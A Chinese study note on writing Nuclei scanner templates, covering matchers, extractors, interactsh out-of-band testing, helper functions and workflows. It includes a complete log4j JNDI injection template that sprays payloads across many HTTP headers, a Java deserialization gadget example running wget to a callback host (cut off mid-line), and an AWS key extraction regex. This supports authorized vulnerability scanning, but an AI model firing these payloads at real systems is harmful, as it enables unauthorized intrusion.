Nuclei POC模板编写笔记（二）

继续摸！

匹配器

匹配器允许对协议响应进行不同类型的灵活比较。非常易于编写，并且可以根据需要添加多个检查以实现非常有效的扫描。

类型

可以在请求中指定多个匹配器。基本上有6种类型的匹配器：

要匹配响应的状态代码，您可以使用以下语法。

matchers:
  # Match the status codes
  - type: status
    # Some status codes we want to match
    status:
      - 200
      - 302

要为十六进制响应匹配二进制，您可以使用以下语法。

matchers:
  - type: binary
    binary:
      - "504B0304" # zip archive
      - "526172211A070100" # RAR archive version 5.0
      - "FD377A585A0000" # xz tar.xz archive
    condition: or
    part: body

匹配器还支持将被解码和匹配的十六进制编码数据。

matchers:
  - type: word
    encoding: hex
    words:
      - "50494e47"
    part: body

可以根据用户的需要进一步配置Word和Regex匹配器。

dsl类型的复杂匹配器允许使用辅助函数构建更复杂的表达式。这些功能允许访问包含基于每个协议的各种数据的协议响应。请参阅协议特定文档以了解不同的返回结果。

matchers:
  - type: dsl
    dsl:
      - "len(body)<1024 && status_code==200" # Body length less than 1024 and 200 status code
      - "contains(toupper(body), md5(cookie))" # Check if the MD5 sum of cookies is contained in the uppercase body

条件

可以在单个匹配器中指定多个单词和正则表达式，并且可以使用AND和OR等不同条件进行配置。

1. AND - 使用 AND 条件允许匹配匹配器的单词列表中的所有单词。只有这样，当所有单词都匹配时，请求才会被标记为成功。
2. OR - 使用 OR 条件允许匹配匹配器列表中的单个单词。当匹配器匹配到一个单词时，请求将被标记为成功。

匹配部分

响应的多个部分也可以匹配请求，body如果未定义，则默认匹配部分。

使用 AND 条件的 HTTP 响应正文的示例匹配器：

matchers:
  # Match the body word
  - type: word
   # Some words we want to match
   words:
     - "[core]"
     - "[config]"
   # Both words must be found in the response body
   condition: and
   #  We want to match request body (default)
   part: body

负匹配器

所有类型的匹配器也支持否定条件，这在查找具有排除项的匹配时非常有用。这可以通过添加matchers块来negative: true使用。

这是使用条件的示例语法negative，这将返回PHPSESSID响应标头中没有的所有 URL。

matchers:
  - type: word
    words:
      - "PHPSESSID"
    part: header
    negative: true

多个匹配器

可以在单个模板中使用多个匹配器来识别单个请求的多个条件。

这是多个匹配器的语法示例。

matchers:
  - type: word
    name: php
    words:
      - "X-Powered-By: PHP"
      - "PHPSESSID"
    part: header
  - type: word
    name: node
    words:
      - "Server: NodeJS"
      - "X-Powered-By: nodejs"
    condition: or
    part: header
  - type: word
    name: python
    words:
      - "Python/2."
      - "Python/3."
    condition: or
    part: header

匹配条件

使用多个匹配器时，默认条件是在所有匹配器之间进行 OR 操作，如果所有匹配器都返回 true，则可以使用 AND 操作确保返回结果。

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "X-Powered-By: PHP"
          - "PHPSESSID"
        condition: or
        part: header

      - type: word
        words:
          - "PHP"
        part: body

提取器

提取器可用于从模块返回的响应中提取匹配项并将其显示在结果中。

类型

可以在请求中指定多个提取器。截至目前，我们支持两种类型的提取器。

1. regex - 根据正则表达式从响应中提取数据。
2. kval - 从响应标头/Cookie 中提取key: value/key=value格式化数据
3. json - 从基于 JSON 的响应中提取数据，使用类似 JQ 的语法。
4. xpath - 从 HTML 响应中提取基于 xpath 的数据
5. dsl - 根据 DSL 表达式从响应中提取数据。

正则表达式提取器

使用正则表达式的 HTTP 响应正文的示例提取器-

extractors:
  - type: regex # type of the extractor
    part: body  # part of the response (header,body,all)
    regex:
      - "(A3T[A-Z0-9]|AKIA|AGPA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}"  # regex to use for extraction.

Kval 提取器

从 HTTP 响应中提取标头的kval提取器示例。content-type

extractors:
      - type: kval  # type of the extractor
        kval:
          - content_type  # header/cookie value to extract from response

请注意，content-type已替换为，content_type因为kval提取器不接受破折号 ( -) 作为输入，必须替换为下划线 ( _)。

JSON 提取器

一个json提取器示例，用于id从 JSON 块中提取对象的值。

      - type: json # type of the extractor
        part: body
        name: user
        json:
          - '.[] | .id'  # JQ like syntax for extraction

有关 JQ 的更多详细信息 - https://github.com/stedolan/jq

Xpath 提取器

从 HTML 响应中提取属性值的xpath提取器示例。href

    extractors:
      - type: xpath # type of the extractor
        attribute: href # attribute value to extract (optional)
        xpath:
          - "/html/body/div/p[2]/a"  # xpath value for extraction

通过在浏览器中进行简单的复制粘贴，我们可以从任何网页内容中获取xpath值。

DSL 提取器

一个dsl提取器示例，用于通过HTTP 响应中的辅助函数提取有效body长度。len

extractors:
      - type: dsl  # type of the extractor
        dsl:
          - "len(body)"  # dsl expression value to extract from response

动态提取器

在编写多请求模板时，提取器可用于在运行时捕获动态值。CSRF Tokens、Session Headers 等可以被提取并在请求中使用。此功能仅适用于 RAW 请求格式。

使用名称定义动态提取器的示例，该提取器api将从请求中捕获基于正则表达式的模式。

    extractors:
      - type: regex
        name: api
        part: body
        internal: true # Required for using dynamic variables
        regex:
          - "(?m)[0-9]{3,10}\\.[0-9]+"

提取的值存储在变量api中，可以在后续请求的任何部分中使用。

如果要将提取器用作动态变量，则必须使用internal: true以避免在终端中打印提取的值。

还可以为正则表达式指定可选的正则表达式匹配组以进行更复杂的匹配。

extractors:
  - type: regex  # type of extractor
    name: csrf_token # defining the variable name
    part: body # part of response to look for
    # group defines the matching group being used. 
    # In GO the "match" is the full array of all matches and submatches 
    # match[0] is the full match
    # match[n] is the submatches. Most often we'd want match[1] as depicted below
    group: 1
    regex:
      - '<input\sname="csrf_token"\stype="hidden"\svalue="([[:alnum:]]{16})"\s/>'

上面带有名称的提取器csrf_token将保存由([[:alnum:]]{16})as提取的值abcdefgh12345678。

如果此正则表达式未提供组选项，则上述名称提取器csrf_html_tag将完整匹配（by <input name="csrf_token"\stype="hidden"\svalue="([[:alnum:]]{16})" />）作为<input name="csrf_token" type="hidden" value="abcdefgh12345678" />.

OOB 测试

自Nuclei v2.3.6发布以来，Nuclei 支持使用interact.sh API 来实现基于 OOB 的漏洞扫描，并内置了自动请求关联。就像{{interactsh-url}} 在请求中的任何地方编写一样简单，并为interact_protocol. Nuclei 将处理交互与模板的相关性以及它通过允许轻松的 OOB 扫描而生成的请求。

Interactsh 占位符

{{interactsh-url}}http和网络请求中支持占位符。

{{interactsh-url}}下面提供了一个带有占位符的核请求示例。这些在运行时被替换为唯一的 interact.sh URL。

  - raw:
      - |
        GET /plugins/servlet/oauth/users/icon-uri?consumerUri=https://{{interactsh-url}} HTTP/1.1
        Host: {{Hostname}}

Interactsh 匹配器

Interactsh 交互可以与word，regex或dsl使用以下部分的匹配器/提取器一起使用。

interactsh_protocol

值可以是 dns、http 或 smtp。这是每个基于interactsh的模板的标准匹配器，dns通常是通用值，因为它本质上是非侵入性的。

interactsh_request

interact.sh 服务器收到的请求。

interactsh_response

interact.sh 服务器发送给客户端的响应。

Interactsh DNS 交互匹配器示例：

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"

交互内容上的 HTTP 交互匹配器 + 单词匹配器示例

matchers-condition: and
matchers:
    - type: word
      part: interactsh_protocol # Confirms the HTTP Interaction
      words:
        - "http"

    - type: regex
      part: interactsh_request # Confirms the retrieval of etc/passwd file
      regex:
        - "root:[x*]:0:0:"

之前在github找的一个log4j2扫描模板就用到了这个。

id: log4j-fuzz-head-poc

info:
  name: log4j-rce漏洞
  author: xxx
  severity: critical
  tags: apache,rce

requests:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        {{log4j_payloads}}

      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        {{log4j_payloads}}
    payloads:
      log4j_payloads:
        - 'X-Client-IP: ${jndi:ldap://{{interactsh-url}}/info}'
        - 'X-Remote-IP: ${jndi:ldap://{{interactsh-url}}/info}'
        - 'X-Remote-Addr: ${jndi:ldap://{{interactsh-url}}/info}'
        - 'X-Forwarded-For: ${jndi:ldap://{{interactsh-url}}/info}'
        - 'X-Originating-IP: ${jndi:ldap://{{interactsh-url}}/info}'
        - 'User-Agent: ${jndi:ldap://{{interactsh-url}}/info}'
        - 'Referer: ${jndi:ldap://{{interactsh-url}}/info}'
        - 'CF-Connecting_IP: ${jndi:ldap://{{interactsh-url}}/info}'
        - 'True-Client-IP: ${jndi:ldap://{{interactsh-url}}/info}'
        - 'X-Forwarded-For: ${jndi:ldap://{{interactsh-url}}/info}'
        - 'Originating-IP: ${jndi:ldap://{{interactsh-url}}/info}'
        - 'X-Real-IP: ${jndi:ldap://{{interactsh-url}}/info}'
        - 'X-Client-IP: ${jndi:ldap://{{interactsh-url}}/info}'
        - 'Forwarded: ${jndi:ldap://{{interactsh-url}}/info}'
        - 'Client-IP: ${jndi:ldap://{{interactsh-url}}/info}'
        - 'Contact: ${jndi:ldap://{{interactsh-url}}/info}'
        - 'X-Wap-Profile: ${jndi:ldap://{{interactsh-url}}/info}'
        - 'X-Api-Version: ${jndi:ldap://{{interactsh-url}}/info}'
        - 'Host: ${jndi:ldap://{{interactsh-url}}/info}'

    attack: clusterbomb
    matchers-condition: or
    matchers:
      - type: word
        part: interactsh_protocol
        name: http
        words:
          - "http"

      - type: word
        part: interactsh_protocol
        name: dns
        words:
          - "dns"

辅助函数

辅助函数

以下是可在 RAW 请求/网络请求中使用的所有支持的辅助函数的列表。

太多了记不住，cv一下。。。

反序列化辅助函数

Nuclei 允许从ysoserial为一些常见的小工具生成有效负载。

支持的有效载荷：

• dns(URLDNS)
• commons-collections3.1
• commons-collections4.0
• jdk7u21
• jdk8u20
• groovy1

支持的编码：

• base64（默认）
• gzip-base64
• gzip
• hex
• raw

反序列化辅助函数格式：

{{generate_java_gadget(payload, cmd, encoding}}

反序列化辅助函数示例：

{{generate_java_gadget("commons-collections3.1", "wget http://{{interactsh-url}}", "

变量

变量可用于声明一些在整个模板中保持不变的值。变量的值一旦计算就不会改变。变量可以是简单的字符串或 DSL 辅助函数。如果变量是辅助函数，则用双花括号括起来{{<expression>}}。变量在模板级别声明。

示例变量 -

variables:
  a1: "test" # A string variable
  a2: "{{to_lower(rand_base(5))}}" # A DSL function variable

目前，dns、http、headless和网络协议支持变量。

带有变量的模板示例 -

# Variable example using HTTP requests
id: variables-example

info:
  name: Variables Example
  author: pdteam
  severity: info

variables:
  a1: "value"
  a2: "{{base64('hello')}}"

requests:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{FQDN}}
        Test: {{a1}}
        Another: {{a2}}
    stop-at-first-match: true
    matchers-condition: or
    matchers:
      - type: word
        words: 
          - "value"
          - "aGVsbG8="

# Variable example for network requests
id: variables-example

info:
  name: Variables Example
  author: pdteam
  severity: info

variables:
  a1: "PING"
  a2: "{{base64('hello')}}"

network:
  - host: 
      - "{{Hostname}}"
    inputs:
      - data: "{{a1}}"
    read-size: 8
    matchers:
      - type: word
        part: data
        words:
          - "{{a2}}"

模板预处理器

某些预处理器可以在模板中的任何位置全局指定，一旦加载模板就会运行，以实现为每个模板运行生成的随机 id 之类的东西。

randstr

信息

在每次核运行时为模板生成一个随机 ID。这可以在模板中的任何地方使用，并且始终包含相同的值。randstr可以以数字为后缀，并且也会为这些名称创建新的随机 ID。前任。{{randstr_1}}这将在整个模板中保持不变。

randstr在匹配器中也支持，可用于匹配输入。

例如：-

requests:
  - method: POST
    path:
      - "{{BaseURL}}/level1/application/"
    headers:
      cmd: echo '{{randstr}}'

    matchers:
      - type: word
        words:
          - '{{randstr}}'

工作流程

工作流允许用户定义模板的执行顺序。模板将在定义的条件下运行。这些是使用核的最有效方式，其中所有模板都根据用户的需要进行配置。这意味着，您可以创建基于技术/基于目标的工作流，例如 WordPress 工作流、Jira 工作流，它们仅在检测到特定技术时运行。

如果技术堆栈已知，我们建议您创建自定义工作流程来运行扫描。这导致扫描时间更短，结果更好。

可以使用workflows属性定义工作流，在template/subtemplates之后tags执行。

workflows:
  - template: technologies/template-to-execute.yaml

工作流类型

1. 通用工作流程
2. 条件工作流

通用工作流程

在通用工作流中，可以定义要从单个工作流文件执行的单个或多个模板。它支持文件和目录作为输入。

在给定 URL 列表上运行所有与配置相关的模板的工作流。

workflows:
  - template: files/git-config.yaml
  - template: files/svn-config.yaml
  - template: files/env-file.yaml
  - template: files/backup-files.yaml
  - tags: xss,ssrf,cve,lfi

运行为您的项目定义的特定检查列表的工作流。

workflows:
  - template: cves/
  - template: exposed-tokens/
  - template: exposures/
  - tags: exposures

条件工作流

您还可以创建条件模板，这些模板在匹配上一个模板的条件后执行。这对于漏洞检测和利用以及基于技术的检测和利用非常有用。这种工作流程的用例是广泛而多样的。

基于模板的条件检查

当基本模板匹配时执行子模板的工作流。

workflows:
  - template: technologies/jira-detect.yaml
    subtemplates:
      - tags: jira
      - template: exploits/jira/

基于匹配器名称的条件检查

当在结果中找到基本模板的匹配器时执行子模板的工作流。

workflows:
  - template: technologies/tech-detect.yaml
    matchers:
      - name: vbulletin
        subtemplates:
          - template: exploits/vbulletin-exp1.yaml
          - template: exploits/vbulletin-exp2.yaml
      - name: jboss
        subtemplates:
          - template: exploits/jboss-exp1.yaml
          - template: exploits/jboss-exp2.yaml

以类似的方式，可以根据需要为工作流创建尽可能多的嵌套检查。

基于子模板和匹配器名称的多级条件检查

一个展示模板执行链的工作流，仅当先前的模板匹配时才运行。

workflows:
  - template: technologies/tech-detect.yaml
    matchers:
      - name: lotus-domino
        subtemplates:
          - template: technologies/lotus-domino-version.yaml
            subtemplates:
              - template: cves/xx-yy-zz.yaml
                subtemplates:
                  - template: cves/xx-xx-xx.yaml

条件工作流是以最有效的方式执行检查和漏洞检测的绝佳示例，而不是在所有目标上喷洒所有模板，并且通常会在您的时间上带来良好的投资回报率，并且对目标也很温和。